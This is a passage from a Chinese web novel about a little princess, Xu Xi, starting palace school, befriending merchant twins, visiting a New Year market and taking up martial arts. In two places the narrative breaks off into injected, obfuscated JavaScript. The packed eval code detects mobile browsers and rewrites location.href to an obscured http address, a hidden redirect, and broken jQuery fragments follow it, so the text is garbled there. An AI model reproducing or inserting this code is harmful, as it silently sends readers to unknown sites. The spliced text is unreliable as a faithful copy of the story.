这么混了一年,终于轮到许曦去上学堂了。 临去文华殿的前一天夜里,许曦抱着枕头满床打滚,满面愁苦,喃喃自语,“我不要读书......我不要读书......” 宫人哄着进了学堂还有许熙、谢稳和许知礼一众人陪着,许曦这才皱着脸翻身睡去。 许熙一大早就等在甘泉宫门口接上了妹妹,许曦靠在椅背上小声打着呵欠,“哥哥......一定要读书吗?” 许熙认真想了想,确认不存在什么不用读书的理由才答道,“对,一定要读书。” “哎呀......”许曦瘫倒在椅背上叹气,“哥哥......不读书不会死掉的,至少我不会死掉的。” 许熙笑眯眯的,“就算读书,好好也不会死掉的。” 太子仪仗路过文华殿中启蒙用的学堂把许曦放下,许曦瘪着嘴,满面阴云地踏进去,瞧见坐在后面的许知礼又换了副心花怒放的表情乐呵呵地往里跑。 她扬起的衣袖带倒旁边桌上高摞的书册,哗啦散落一地。 许曦急停下来,回身蹲下捡书,许知礼听见动静也起身来帮忙。 一摞书交还在书主人的桌上,许曦脸颊绯红,没想到第一天来学堂就闹出了这样的马虎事,“姐姐,不好意思,我没注意到......” 书主人的确比她要大上两岁,她没追究这件意外,笑盈盈道,“没关系,你是太子殿下的妹妹吧?” “啊,是。”许曦听她这样问,有些惊讶。 许熙是嫡长子,满皇宫里的公主都是他的皇妹,但能喊上一声更亲近的“妹妹”的,只有许曦一个。 书主人笑容和煦如春风,“没记错的话,公主和殿下同音不同字,单名一个曦?我叫李元容,是丞相府的女儿,和公主一样,也有一个哥哥。” “李元容......”许曦下意识念了一下,忽然反应过来,连声应,满是局促,“对,我是许曦。” “书不怕摔,掉一下也不妨什么事。”李元容笑吟吟的,“公主还是快去和郡主说说话吧。” 她三两句结束掉对话,许曦呆头呆脑地跟着许知礼往后走,心神还沉浸在刚刚对话的余韵里。 扯开许知礼旁边的椅子坐下,许曦回头看了一眼已经在温书的李元容,歪着脑袋凑近许知礼,小声道,“表姐,她......” 许知礼左右看了看,招招手示意许曦附耳过来。 两个脑袋凑在一起,只听许知礼悄声道,“她是丞相府嫡出,排老二。跟你一样,头上有个大哥。要不是她哥年纪比太子表哥大不少,肯定是要给太子表哥当伴读的。不过我听说,她哥很厉害,写文章什么的没谁能比过他,办事也漂亮,以后能当大官儿!” 许曦侧耳听着,目光在李元容的背影上打转,鬼使神差问了一句,“那她呢?她当不当大官儿?” “她当不了。”许知礼撇撇嘴,很快勾起唇角,“看在姐妹一场的份上,别怪我没提醒你,人家和咱俩可不是一路人。人家坐第一排呢,可是先生的得意门生!” 许曦歪着脑袋瞧许知礼,黑眼珠轱辘转,“那表姐你呢?” “我?”许知礼理直气壮得有些神气,“我都坐这儿了,自然是该听的听,不该听的不听。” “啊?”许曦头一回听这个说法,她摆出勤学好问的姿态,“那什么是该听的,什么是不该听的?” 讳莫如深的笑容在许知礼脸上一闪而逝,她欲扬先抑道,“那自然是......那自然是我想听的和我不想听的喽!想听就听,不想听就不听!” 许曦无措地眨眨眼,这......这好像和哥哥在路上说的不一样。 哥哥说进了学堂要好好读书,好好听先生讲课来着。 她小脑瓜转了转,忽然反应过来,难道......她视线又回到前面的李元容身上,哥哥是要她学李元容? 李元容依旧拿着书册在看,挺直的脊背肖似一株青嫩的小竹。 许曦瞧了又瞧,这模样好像和平日里哥哥待在书房里有些像。 那就学吧,她心道。反正试试又没关系。 “好好?好好?”许知礼推她,“想什么呢?林懿山呢?她是你的伴读,应该跟你一起来啊。” “林懿山......?”许曦忽然如梦初醒般睁大眼,“坏了!把林三落在母后宫里了!” 她转头去瞄学堂的门,心里盘算着倘若这时再回宫带林三还赶不赶得上。 赶不上。 学堂先生卷着一册书迈过门槛走了进来。 他摸了摸鼻下的八字胡,在学堂里环视一周,注意到了新来的许曦,他略一沉吟,“公主殿下,您的伴读呢?” 许曦面色涨红,“落在母后宫里了......” 先生不置可否地点点头,不再追问,改让学生摊开书册准备讲学。 许曦和许知礼一起躲在后面,虽然没像她那样明目张胆地把书丢在一边掏出张宣纸来勾勾画画开小差,但是显然也没有认真听学的打算。 她看几眼书册就要悄悄偏头去瞧坐在左右的人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317542|198991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文华殿的蒙学学堂包括更大些的孩子读书的学堂早些年由皇后的母家,崔家,牵头改革,从一开始的只限皇室子弟听学到向臣子女开放,不消说丞相和枢密使,各部也都能分到几个名额。 坐在这里的,除了李元容,还有养在静妃膝下的四公主,和许曦不差多少年纪的八皇子,崔家的女儿,英国公的嫡子,枢密使的庶女,工部尚书的嫡女,刑部尚书的庶子,太史丞的嫡女,兵部尚书和户部尚书的嫡子一众人等。 一天下来,先生讲的书没听进去几句,其他人如何相貌、年岁几何,许曦倒是记了个清清楚楚。 她回身望望渐渐散去人的学堂,颇自觉地反省了一下,照这个样子,她应该是学不了李元容了。 先生讲学时她可看得清清楚楚,李元容坐得端正,眼动手动,不但听得专注,书册上想必也记了不少注解。 算了算了,还不如直接让李元容给她哥当妹妹。 许曦的这种想法在第二日就得到了根本性的扭转,因为她这次上学记得带上林懿山了。 林懿山虽然仗着自己早在太平书院开过蒙,非必要不听课,一副要和许知礼一起摸鱼度日的做派,但是却见不得许曦这样,典型的“宽以待己,严以待人”。 倘若许曦上课溜神,不要盏茶功夫,一个宣纸团就会趁着先生没注意的时候精准砸在她后脑上。好不容易挨到课时休息,林懿山依旧是不放过许曦,背着手绷着脸要查她的书册,如有遗漏的注解又是好一通念叨。 许知礼嬉笑着夸林懿山尽忠职守,许曦趴在桌上皱着脸叫苦连天。 学堂里没有新鲜事,日日早起晚睡,许曦读书读得一日比一日更盼放大假的日子。 盼着盼着就等到了新年将至。 放假当日,许曦早早和宫里一众宫人说好,不许任何人第二日喊她起来吃早膳,她要好好补一补这半年来少睡的觉。宫人们也都嘻嘻哈哈答应下来。 可惜天公不作美。 不,是许知礼不作美。 “好好!” 许知礼一大早就进宫来一路跑到许曦床前,她使劲摇着裹在锦被里的许曦,“好好?好好!” 许曦皱紧眉头,往被窝深处又缩了缩,甚至连头都埋进去,把自己裹成了一个严实的蚕蛹。 “好好!”许知礼一把掀开她头顶的被子。 许曦僵着身体不动,心头无助又无奈,她勉强睁开一只眼睛,另一只眼仍闭着,“表姐,你怎么来了?”睡一半也是睡啊。 许知礼坐在她床边兴奋道,“舅舅今年新封了个皇商,那皇商来见舅舅,好热闹,你和我一道去瞧瞧?” “皇商......?”许曦重新闭上眼思考着这个词,想着想着声音就飘忽了,“不去......” “哎呀~去吧去吧~”许知礼不死心地接着摇,“好好好~你就陪我去吧~” 她一遍遍地摇,不灰心不放弃。 许曦没辙了,她今天应该没办法再睡下去了。掀开被子坐起来,她叹出一句话,“我去......” 拉着好不容易拽起来的许曦,许知礼还没跑到乾清宫就碰到了一鹅黄一玉白衣裙的两个女孩。 瞧着面孔陌生,许知礼多看了两眼,本想直接路过,没想到这两个女孩也在观察她俩,甚至拦在了路中间。 “你们是谁?” 5. 第五章 “你们又是谁?”许知礼昂着脖子分毫不让,她今日戴了一顶金丝花冠,显得像一只气宇轩昂的大公鸡。 两个女孩对视一眼,先后开口。 黄裙子说,“我叫江金蕖。” 白裙子跟在后面,“我叫江玉蕖。” “江金蕖,江玉蕖......”许知礼敛着眼睫思量了一下,没在宫里听过这号人物,只能是宫外来的,她抬眸,一副没把对方放在眼里的样子,“没听过这两个名字。” “你没听过?” 仿佛一石惊起千层浪,江金蕖一声喊是最高的那一层。 “你不知道我俩的名字?!” “不知道。”许知礼皱起眉向后退了退,许曦被她揽在身后,“很重要吗?” 姐妹俩穷追不舍,一齐看向许知礼,“那你是谁?叫什么名字?” “我叫许知礼,当朝长公主的嫡女。”许知礼报上家门,警惕地盯着这两个凭空冒出来又没有礼貌的家伙。 姐妹俩面色空白一瞬,同时后退一步头碰头缩成一个小团,窸窸窣窣,切切察察。 “爹说什么来着?” “忘了,想不起来。但这个好像惹不起。” “那换一个问问。” “好,换一个。” 许知礼纳闷地歪头去瞄掩着嘴讲小话的姐妹俩,心道这两个人怎么能这么奇怪。许曦也从她身后探出脑袋来,悄悄观察着这两个人。 “那你又是谁?” 江金蕖几个大踏步快速移动到许曦面前,许曦下意识躲了一下,该回答的话也僵在喉咙里。 “孤的妹妹是当朝最尊贵的公主,以后天下最尊贵的女子!” 许熙忽然出现在几人面前,他往近前一站,将两个妹妹都护在身后,背着手凤眼微眯。 忽然蹿出个身量高了好几头的小郎,江金蕖一惊,声势也弱下来,只头脑还没反应过来,固执地问,“那你......” “孤是当今太子。”许熙打断她,眉眼间掺杂冰冷的凶性,后知后觉才挂上装饰性的浅笑。 “啊......”江金蕖仰头看他,心头有些打怵,她脸白了一瞬,僵在原地不动。 一个激灵反应过来,江金蕖慌忙转身跑回江玉蕖身边,和她牵着手恭敬地弯腰道歉,扯着嗓子齐声喊,“太子殿下好!望公主殿下恕罪!公主殿下好——” 声音突然停下,像被掐住脖子的小鸟。 江玉蕖一肘撞在江金蕖手臂上,悄声道,“郡主。” “哦哦。”江金蕖应了两声,又大声道,“望郡主恕罪!郡主好!” 许熙表情凝滞在脸上,本来捏在背后的手也松开了,没言语。许知礼挑眉,好整以暇地盯着这姐妹俩瞧。 许曦埋在两人身影的间隙间观望着江金蕖和江玉蕖。 江家姐妹一胎同生,相貌别无二致,面庞白净,眉如新月,眸清似水,唇颊一抹红像晕了胭脂,已然可见日后艳若桃李美人相。 “那你们是谁?”许曦从哥哥和表姐身后走出来,笑眯眯问。 “民女是今日觐见的皇商之女。”江金蕖规规矩矩行了一个礼,低眉顺眼,全然不见刚才的任性模样。 许曦了然地点点头,这两人是许知礼要带她去看的那个“热闹”的女儿。 她接着问,“那你们的爹呢?” “爹要见皇上,叫我们跟着一个宫女姐姐,结果那个宫女姐姐忽然不见了,我俩找路找到了这里。”江玉蕖语速如珠,叮叮当当落了一地。 “这儿离乾清宫倒是不远......”许曦敛着眼睫嘀咕,她忽然抬眼看姐妹俩,提议道,“你们跟我们一道走,咱们去寻寻你爹爹?” “好啊!”姐妹俩相继咧开嘴,眼睛发亮,笑得像两朵迎春花。 她俩小跑上来,亲昵地轻轻抱住许曦的两条手臂,“公主殿下,你人真好!” 许曦看完左边的漂亮脸蛋又看右边的漂亮脸蛋,心里美得冒泡,嘿嘿笑着回头冲哥哥和表姐喊,“走啊,咱们去乾清宫看看!” 刚到乾清宫附近,一行人就远远望见了面色焦黄、心急如焚找孩子的江发,他身后跟着的宫人面色惨白,惴惴不安,大气都没敢喘。 “爹!”姐妹俩瞬间放开许曦,喜笑颜开地乳燕投怀。 江发连忙蹲下身接住两个女儿,一手一个抱起来紧张地仔细检查过才分出心思给其他人。 “几位是......”他面露迟疑,有心猜测几人的身份。 江金蕖和江玉蕖在他怀里小鸟挥翅膀似地扑腾,争先恐后,叽叽喳喳。 “我知道!我知道!” “最高的那个是太子殿下!” “第二高的是郡主!她娘是长公主!” “第三高是公主殿下!太子是她哥哥!她还陪我们来找爹爹!” 江发顺着姐妹俩吵闹的顺序挨个问好,满面庆幸与感激之色,“小民平生最爱惜不过这一对双生女儿,向来娇惯,没想到今日进宫来竟也淘气走失。幸好遇见几位殿下,让小女能平安回来。小民感激不尽,定要送上厚礼以表答谢。” 他语气恳切,话也说得诚挚,但是谢礼就算了。 许曦和许知礼对视一眼,同时看向许熙。许熙接收到眼神,明白其中意思,草草打了个腹稿准备回绝。 结果江家姐妹又“响”了。 “好啊好啊!”江金蕖欢呼,江玉蕖雀跃,“让我俩来送!我俩亲自来送!明日就来!” 江父紧跟其后,面上有些自省和惭愧,“小女说得是,今日确是晚了,再送礼上门恐生打扰,不如明日送得好。” 三人一句话没插上,江家父女已经做完了整个决定。 事已至此,许曦认栽地点了头。 第二日,许曦依然早早被人叫醒。挣扎着从锦被里爬出来时,她不无恍惚地想,现在是什么时辰了?宫门这就开了? 没等想出个头绪,她就被连拖带抱地带到了皇后那里。 甘泉宫毕竟是皇后寝宫,属于内廷。江父不好出现。因而领着双生胎上门的是她们的母亲。 江家家主,江芙蓉。 江家表面看去只是个新封的皇商,但也只有世家上层或者皇族自己知道,江家累积几世的财富究竟是多么恐怖的程度,用富可敌国来形容都只能说是没把江家放在眼里。 这样的巨富和世家之间其实也少不了盘根错节的关系。 不论真假,江芙蓉和皇后之间总归是看上去聊得和和美美、谈笑风生。 双胞胎偎着母亲坐在同侧,一个时不时歪头瞧瞧两个长辈闲谈,另一个则是荡着双腿百无聊赖地望着门外来人的方向。 许曦一出现,江家姐妹眼中同时擦出亮眼的小火苗,目光如炬。 许曦自然也瞧见她们,但是她得先站到皇后边上和江芙蓉打个招呼。 两个长辈之间的话局一时不能结束,三个小孩的目光已经交碰在一起,彼此眼底都压着兴奋。 江芙蓉还挺喜欢这个长得灵秀俊丽的小女孩,但是再等一会儿恐怕她就压不住自家的两个女儿了。 终于得了赦令,江家姐妹一人一边拉着许曦呼呼啦啦地跑出去,许曦心道她俩在甘泉宫可跑不明白,反客为主地拧着两姐妹回了自己的寝殿。 江家姐妹也不拘谨,从上到下,从左到右地看了一遍许曦的寝殿,满是对好朋友的探索欲。 新鲜劲儿一过,江玉蕖率先扯开话题,“一直没问呢,公主殿下叫什么名字?” “我叫许曦,我哥也叫许熙。我俩叫法一样,但字不同。”许曦扬着脸解释得画蛇添足,听得姐妹俩云里雾里。 “哪个字?”江金蕖多问了一句,寄希望于得到的答案能让她们理明白。 许曦更加神气,嘴角勾起来,“我的曦是‘曦光霁曙物’的曦,我哥的熙是‘亦沐至仁熙’的熙。” 这句话她想说很久了。 姐妹俩同时叹出一口气,沉下肩膀。江金蕖毫不避讳地问,“听懂了吗?”“没有......”江金蕖面露惆怅,眼神空明得要做和尚。 “哎呀!”许曦一副又气又急的样子,她背起手,转起圈想了想,总结道,“简而言之,我是光,我哥哥是好!” “哦......”姐妹俩若有似无地点点头,显然也没太放心上。因为她俩的手已经伸进了各自的袖袋里,抽出时多了一个布偶。 这布偶和寻常布偶还有些许不一样。 姐妹俩把布偶翻过来给许曦看,原来这布偶下面竟是个大洞,里面是空的,人的手可以伸进去把布偶撑起来。 江金蕖和江玉蕖把布偶套在手上,让许曦靠后一些,接着就各自找好位置咿咿呀呀唱起了自编的布偶戏。 许曦看得新奇,甚至在姐妹俩谢幕致谢时还格外卖力地鼓掌叫好,姐妹俩也喜滋滋地龇着牙花子享受来自许曦的崇拜。 许曦凑近来盯着她俩手里的布偶目不转睛地看,“这是什么?” “这是布偶。”江金蕖灵巧地撑着布偶又动了几下,“我和金蕖刚刚用布偶唱的戏就叫布偶戏!” “娘说我和金蕖还太小了,等我俩长大了才能玩更大的偶人,木头的,提线的那种!”江玉蕖跟着道。 许曦看得眼馋,手指在偶人脸上点了点,软软的,“怎么我在宫里没见过?” 江金蕖得意地扬着眼角,嘴角翘起,眉飞色舞,“这是我俩跟娘和爹在南边看来的,京城可没有!” “对,京城没有。”江玉蕖严肃地点头,故意绷起的小脸倒像是刚蒸出的白面包子。 她忽然“掉转枪头”问起江金蕖,“那京城有什么?” “京城,京城有.......”江金蕖脱口而出的话急停在嘴边,京城有什么呢?有什么别处没有独独京城有的呢? 她敛下眼睫苦思冥想,想得满头大汗,忽然瞥到满眼期待等她回答的许曦。 有了,她心道。 “京城有公主啊!”江金蕖大声道,一副无理也要占三分的气势,“公主可不会出现在其他地方!” “......啊?”许曦眨巴眨巴眼,微微一愣,随即慌忙摆手,“不行不行,这不能算。”她不满意这个答案,一心想听点新鲜的东西。 江玉蕖哈哈大笑,笑软了腰,挂在江金蕖身上,还不住地跟许曦说,“算的公主,这当然算。” “不行!”许曦固执道,又用求知若渴的眼神看江金蕖,“还有别的吗?” 江金蕖嬉笑,一只手拢在嘴边神秘兮兮道,“有的有的,我告诉公主一个秘密。” “什么秘密?”许曦一问就上套,跟着降低声音和她挨在一起。 江金蕖故意左顾右盼一番,一副怕被人听去的紧张模样,小声道,“天底下有个地方,什么都有!” “什么地方?”许曦睁圆了眼,声音低低的,显然真的以为自己问到了什么惊天大秘密。 “集!”江金蕖兴奋道,“集里什么人都有,男的女的,老的少的,黑的白的,胖的瘦的,长的好看的,长的不好看,我还见过那种鼻子高高的,皮肤比雪还白的人!好多人!他们什么都拿来在集上卖!” “ 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许曦斜看她一眼,洞明了答案,于是又是幽怨的一声叹,“唉......表姐也不知道......” 许知礼一噎,心里有点不服气,她抱着不耻下问的心态晃许曦的肩膀,“好好,什么是集啊?” “唉......”许曦不理她,软绵绵任她把自己摇得晃来晃去,又叹出一口长气。 “好好,集是什么啊?” “唉......” ...... 重复的对话持续到了许熙和谢稳出现。 他俩对视一眼,各自皱起眉,显然都没想明白这表姐妹俩又在玩什么戏码。 许熙眼角余光注意到熟悉的衣色,她转过头,露出皱在一起的小脸,可怜巴巴轻声问,“哥哥,你知道集吗?” 可爱妹妹变成“老妹妹”,许熙吓得一步站了过去把妹妹扒进自己怀里,“路过几次,怎么了?” 许熙低着头,声音也皱巴巴的,闷声闷气道,“原来哥哥去过啊......那怎么我没去过呢?我好可怜啊......好好好可怜呐......” 站在边上的许知礼懵然,模糊感觉到有什么不对,不是,她也没去过啊?她也要可怜吗? 许熙关心则乱地听出哭腔,慌忙拍着妹妹后背软声软气地哄着,“当然不是如此,好好想去就可以去啊。” “哥哥......”许曦握上许熙的玉腰带,泫然欲泣的愁苦下终于图穷匕见,“那我们明日就去好不好?” “啊?”许熙手上动作一僵,随即反应过来,好气又好笑,心道自己这一巴掌不知道是该继续拍在她背上还是拍在头上。 谢稳憋了半天的笑终于释放出来,他弯着眼睛,“小殿下,集都是定着日子的,您得再等等。明日可去不了。” 过三四日功夫,一辆轻便简饰的马车驶出宫门,上面坐了许家兄妹,谢稳和吵着要见世面的许知礼。 到了地方,许曦穿着事先换好的简单衣裙下了马车,其他人跟在她身后。 临近年关,坊间但凡是开阔地方,多半摆上了年集。人为留出的几条歪歪扭扭的路上挤满了货比三家置办年货的百姓。 “糖人!糖人嘞!好蜜好手艺!吃了嘴甜心甜日子甜!” “猪肉八文!过了今日没有这个价钱!八文!猪肉八文!” “年画!胖头娃娃的新样式!福气!年画!” ...... 叫卖声此起彼伏,声浪滔天,偶尔支起的几个大摊子是船。 摆门神像的边上挨着卖历书的,历书边上挤着的老先生眯缝着眼写对联。猪羊鱼肉,米面蔬菜,鸡鸭果品的摊子旁逸斜出、七手八脚地拼在一起,新衣新帽,彩纸喜竹围了一圈嬉笑打闹的孩童,南边来的年糕冷笋正生意兴隆。 万户瞳瞳,人声如潮。 几个孩子挤在其间不无新鲜地东张西望,偶尔从钱袋掏出银子买点可心的小玩意儿。 琉璃喇叭太平鼓,风筝油彩江米人,说得上是满载而归,宫人抱在怀里看不清前面的路。 “哎!走过路过不要错过!吞剑!吐火!银[枪]刺喉!胸口碎大石!” 平地一声高喊勾得几个孩子像中了邪似地不约而同调转方向往路口走。 她们赶到前排,人群围起的圈里站了个身似铁塔的赤身大汉。 他脸红如酌,喉头抵了一柄银白长枪,长枪另一头支在地上,枪尖锋利,枪身闪着寒意。没有人会怀疑,倘若那大汉喉间软肉下陷一分,这长枪不会瞬时夺走他的性命。 大汉先是和长枪僵持着,忽然双手在胸前绷紧平展,肌肉鼓起,青筋从腕间蜿蜒到额上,随着一声暴喝,他以万顷之势向地面压去。 许曦紧张得屏住呼吸,攥住哥哥衣角的手微微出汗,脸也躲了过去,眼睫怯生生地颤动着,只用眼角余光偷瞄。 想象中血溅三尺的惨烈场景没有出现,反倒是那长枪被大汉压出夸张的弧度,铮铮作响,枪身弹出晃眼的日光。 “表姐!表姐!”许曦咽了口口水,僵硬地去拽许知礼的衣袖,“你看见了吗?” “看见了看见了!”许知礼故意大着声音回,眼睛睁得大大的,色厉内荏。她瞥见许曦震惊到空白的表情,声音更大了,咬牙道,“这没什么,我也会!” “表姐也会?”许曦惊疑不定的目光在她身上闪来闪去,好像第一天认识她似的,“像他那样?” 许熙和谢稳也看过来,同样的不能置信。 6. 第六章 许知礼双颊不受控地涨红,她目光慌乱,但仍要强作镇定,“我娘给我请了武师傅教习,学了自然就会!” “学了就会?”许曦扬着眉毛怀疑。 “学了就会!”许知礼声如洪钟,掷地有声。 “那我也要学!”她欢天喜地地抱住许知礼的手臂撒娇,“表姐表姐~我也要学~好好也要学~” 她向来是个有福同享的人,有好东西也忘不了自己人,转头眼睛亮晶晶地问许熙和谢稳,“你们学不学?” 许熙面色僵硬,嘴角微微抽动,讪笑道,“我......我就不用了。” “好吧......”许曦有点失落,随即满眼期待地又去看谢稳。 谢稳抿抿嘴,面对许曦发亮的眼睛他近乎本能地想要应允下来,但是...... 他张了张嘴,纠结着措辞,“倒也不是不行,就是......”他干笑两声,“就是......就是......” “就是什么?”许曦走过来抓住他乱飞的眼神和他对视,满是疑惑,“就是什么?” “啊......”谢稳表情一僵,眨了两下眼,下意识闪躲着,身体也往后移,“就是......” “就是什么?”许曦步步紧逼,执着地要问出个所以然来。 谢稳被逼得后退一步,终于想到,“啊!就是......就是不安全!对!就是不安全。” 他右手握拳在平放的左手上敲了一下,“不安全!”又细细解释,“这种本事要学出来首先得练上许多年的基本功,倘若莽撞去练,难免受伤。”他越说眉头皱得越紧,语速飞快,最后一锤定音,“小殿下还是再考虑考虑的好,最好不练。” 许曦听得懵然,愣在原地一时没反应过来,突然被许知礼飞扑住,“考虑好了!考虑好了!”她嚷道,“好好跟我回长公主府学本事,你们两个最好别跟来!”她又压低了声音在许曦耳侧小声道,“好好,咱们两个偷偷学,回头叫他们两个胆小鬼心服口服!” 话说得轻巧,长公主府和皇宫隔了三四条街,习武又是件要早起贪黑吃苦头的事,一日两日许曦还去得,日子久了就是满心的不情愿。 “哥哥!”许曦守在去书房的必经之路上截住了才忙完回来的许熙。 她多聪明? 长公主府远,不去就是了,反正哥哥也跟着太子太傅学武呢,多她一个又不多。 习武嘛,跟谁学不是学呢? “这是怎么了?”许熙被忽然从路边跳出来的妹妹吓了一跳,眼睛睁大了些,但更多是好奇。 这个小冤家今天又打的什么主意? “哥哥......”许曦嘻嘻笑着,背着手凑上来,动作娇憨,“我想跟着你学武。” “学武?”许熙挑眉,饶有兴致问,“学什么武?” “学刺喉咙!”许曦扒着哥哥手臂。 许熙抽出手背在身后,甚至故意退后一步,眼里全是调侃的笑意,“可是太傅不教刺喉咙,”他一副诚心为许曦着想的样子,“怎么办?” “不教啊......”许曦慢慢垂下了头,声音低落下来,小手在身后慢慢绞着,她在地上踢了一脚,缓缓道,“哦......” “咳。”许熙故意清嗓子引起许曦的注意,他扬着头,唇角勾起,“但是太傅可以教好好飞。” “飞?”许曦猛地抬头,眼底透出亮光,面上也是一亮,再招摇不过的惊喜。 “对。”许熙缓缓点头,语气加重,“就是飞。” 许曦仿佛吃了颗定心丸,但尚存疑虑,“怎么飞?学了之后像小鸟那样长翅膀吗?”不等许熙回答,她自己先打了个寒颤,疯狂摇起了头,“不行不行,好丑,我不要。这样我的那些漂亮衣裙也都穿不了了。” 许熙扑哧一笑,笑声爽朗,牵着妹妹到了更开阔些的地方,转头笑道,“好好看仔细了。” 话音一落,他松开妹妹的手,运功起身,平地沙雁似地跃起,接着悠然转身几步踏在了檐上,流风回雪,宽大的衣袍翩然。 许曦看傻了眼,先是震惊得说不出话来,再是一味地喊哥哥,不知道说什么好。 许熙背着手立在檐上,咬着嘴肉不让笑意更张扬,显得太过得意,他保持着嘴角一抹淡笑,挥一挥衣袖下来,托抱着妹妹又重新回到檐上。 许曦抱着哥哥的腰,眼睛睁得又大又圆,嘴巴惊得合不拢,新奇地俯瞰东宫内外。 眼角余光扫到甘泉宫,再右一些的宫道上,许知礼正走在上面,显然是要甘泉宫找许曦。 许曦兴奋地让哥哥带着自己从天而降到许知礼面前,许知礼瞠目结舌,还来不及反应发生了什么就听见许曦雀跃地宣布,“表姐,我以后不去长公主府了!刺喉咙不好玩,我要学飞了!” 话说完,兄妹俩又欻地跃起消失不见。留许知礼一人呆在原地怀疑自己在做梦。 回到东宫,许曦大呼小叫着要学飞,要拜太傅为师,横冲直撞地到处找太傅的人影。许熙背着手笑吟吟跟在后面,时不时提醒上一句,“跑慢些,当心摔了!” 跟在左右的随侍面露难色,眉头紧皱,踟蹰着进言,“殿下,我朝毕竟还是倡导女子修习琴棋书画,以文静端方为美谈。让公主和您一道学武,翻墙踏瓦,还是......还是太过了些......”他死死埋着头,身子绷得紧紧的,“再者,公主跟着太子太傅学武......在规矩上,也于理不合,实在是不妥......” 许熙停住,冷下脸微侧过身,清拔秀挺,削薄的眼皮掀起,斜睨一眼,淡漠中透出凌厉的锋芒,“孤的妹妹,合她心意就够了,旁的与她无关。” “是......是。是奴才糊涂。”随侍忙不迭点头应着,连声请罪,颤出一身冷汗。直到偷觑到许熙又跟着许曦走远,他才吁出一口长气,几乎瘫软在地上, 拜了新师傅,许曦又天天早上往东宫来。 这么来了两日,她还是嫌不痛快,灵机一动,干脆就搬到了东宫来住。如此又能多睡上一会儿,想到这她就忍不住咧着嘴笑。 如今她整个人长在东宫,绝不踏出大门一步,更不要说去什么看不见影子的长公主府。 但,山不就我,我自就山。许知礼情愿日日往东宫来。 这日她又来,见了许曦之后,面色沉重,声音低沉,一副山雨欲来的模样,郁郁地叹了口气。 许曦乖觉地配合,“表姐,怎么了?” “好好!”许知礼双手重重拍在许曦肩上,“你已经是六岁的年纪了,而我已经七岁了。” “啊......”许曦干笑了一声,随即转了个脑筋又拍了回去,“没事的表姐,七岁不老的。” “哎呀,不是的!”许知礼拍掉她的手,“我想说,这是你知道的,我要说点你不知道的。” “不知道的?”许曦歪头看她,眨眨眼,“有什么是我不知道的?” “唉......”许知礼背着手又重重地叹出一口气,表情凝重,“我七岁了,这一年的学堂上完,我就要去更厉害的学堂了,不和你做同窗了。” “哦......”许曦愣愣地消化着这个消息。 许知礼看她这个呆样,又一记重击下去,“还有林懿山!” “啊!”许曦如梦初醒,惊慌拽住她,“怎么林三也不留给我?!” 许知礼抱着双臂,一副事不关己的看戏作态,“林懿山虽然是你的伴读,但是年纪到了,按理就是要跟我一起走。” “这......这......”许曦急得团团转,转身就要跑,“我去找我哥!” “哎!”许知礼一把抓住她,慌忙道,“不用不用,用不上太子表哥出手。” “那要怎么办?”许曦迟疑地看她。 “简单!”许知礼站直身子,拍了两下手,娓娓道来,“蒙学之上的学堂依照年纪把所有人分在一起,从大到小,甲乙丙丁。但也有例外。比如太子表哥和谢稳,他俩就因为天资过人,通过学堂的考试直升了甲班。蒙学嘛......当然也一样适用这条规矩。” “过了考试,我就能接着和林三还有你一起听学了?”许曦确认道。 “就是这样。”许知礼点点头,又单边睁大一只眼促狭地看着许曦,“不过......好好才上了一年学堂,平时读书也不用功,我看这事儿啊,玄。” 许曦扭过脸去不看她,当烧红的耳根不存在,嘴硬道,“不就是考个试吗?我肯定能考过!” 一年之内,非但要补全落下的功课,还要通过学堂考核,绝非易事。即便课业上许曦可以仰仗林懿山,但是提笔写字也让她苦手不已。 “哥哥!”书房的大门又被许曦撞开。 许熙一抬头就见妹妹哒哒小跑进来,啪一声把不知什么东西拍在了自己桌案上。他观察着许曦的脸色,小心翼翼地问道,“好好......这是怎么了?” 许曦抬起头,小嘴瘪着,皱皱巴巴的一张小脸上眼圈泛红,委委屈屈道,“先生说我字丑......” “字丑?”许熙讶异,伸手把那张拍在案上的宣纸拾起展开,心道能丑到哪儿去? 这一看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317544|198991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行云流水、笔走龙蛇、铁画银钩...... 这些词和许曦的字有些沾亲带故的关系,毕竟纸上有水、蛇还有画。 歪扭难辨不说,细蛇在杂草间诡谲游走的情态倒是跃然纸上。 “哥哥......”许曦见他半天不说话,心里的底气也弱了几分,怯生生问,“果真不好看吗?” “啊?好看!好看的!”许熙反应迅速,又话锋一转,“就是......嗯......风格比较独特,能欣赏的人少。” 许曦呼出一口气,“吓死我了,我就说我写的字是好看的。”她踮起脚打量哥哥手里自己的字,越看越满意,“先生真没水平,我才不听他的日日练字呢!” 许熙忽然把纸一折收了起来,犹豫着道,“这个......字还是要练的。” “为什么?”许曦瞪圆了眼睛不满质问,“刚刚哥哥还夸我写的字好看!” “嗯......”许熙安抚地拍了拍妹妹肩背,慌忙想着措辞,“因为......因为......能欣赏好好的字的人少,见了好好的字会夸奖好好的人也就少。倘若好好把字变动一下,”他越说越觉得有理,腰杆挺得越来越直,“那夸好好的人就会越来越多!谁被夸会不高兴呢?所以,字练得越多,好好也就越高兴!” 许曦盯着看不见眼睛的哥哥若有所思,想了半天,咂咂嘴,好像......哥哥说的有点道理? “所以......我应该听先生的,日日练字?” 